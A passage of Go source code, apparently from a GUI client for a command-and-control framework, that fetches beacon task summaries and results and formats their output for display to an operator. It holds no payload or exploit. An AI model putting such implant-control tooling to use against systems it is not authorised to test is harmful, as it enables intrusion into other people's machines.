out := make([]BeaconTaskView, 0, len(resp.Tasks))
for _, t := range resp.Tasks {
created := ""
if t.CreatedAt > 0 {
created = time.Unix(t.CreatedAt, 0).Format("15:04:05")
}
completed := ""
if t.CompletedAt > 0 {
completed = time.Unix(t.CompletedAt, 0).Format("15:04:05")
}
// Parse the response bytes into readable text
response := ""
if len(t.Response) > 0 && t.State == "completed" {
stdout, stderr := parseExecuteResponse(t.Response)
response = stdout
if stderr != "" {
response += "\n[stderr] " + stderr
}
} else if len(t.Response) > 0 {
response = string(t.Response)
}
out = append(out, BeaconTaskView{
ID: t.ID,
State: t.State,
Description: t.Description,
CreatedAt: created,
CompletedAt: completed,
Response: response,
})
}
return out, nil
}
// GetBeaconTaskResult fetches a single beacon task's full content. GetBeaconTasks
// only returns task summaries (no Response body) — the actual output requires the
// GetBeaconTaskContent RPC. The frontend poller calls this to display results.
func (a *App) GetBeaconTaskResult(taskID string) (BeaconTaskView, error) {
client, err := a.requireClient()
if err != nil {
return BeaconTaskView{}, err
}
t, err := client.RPC.GetBeaconTaskContent(a.ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return BeaconTaskView{}, err
}
v := BeaconTaskView{ID: t.ID, State: t.State, Description: t.Description}
if t.CreatedAt > 0 {
v.CreatedAt = time.Unix(t.CreatedAt, 0).Format("15:04:05")
}
if t.CompletedAt > 0 {
v.CompletedAt = time.Unix(t.CompletedAt, 0).Format("15:04:05")
}
if len(t.Response) > 0 {
stdout, stderr := parseExecuteResponse(t.Response)
v.Response = stdout
if stderr != "" {
v.Response += "\n[stderr] " + stderr
}
}
return v, nil
}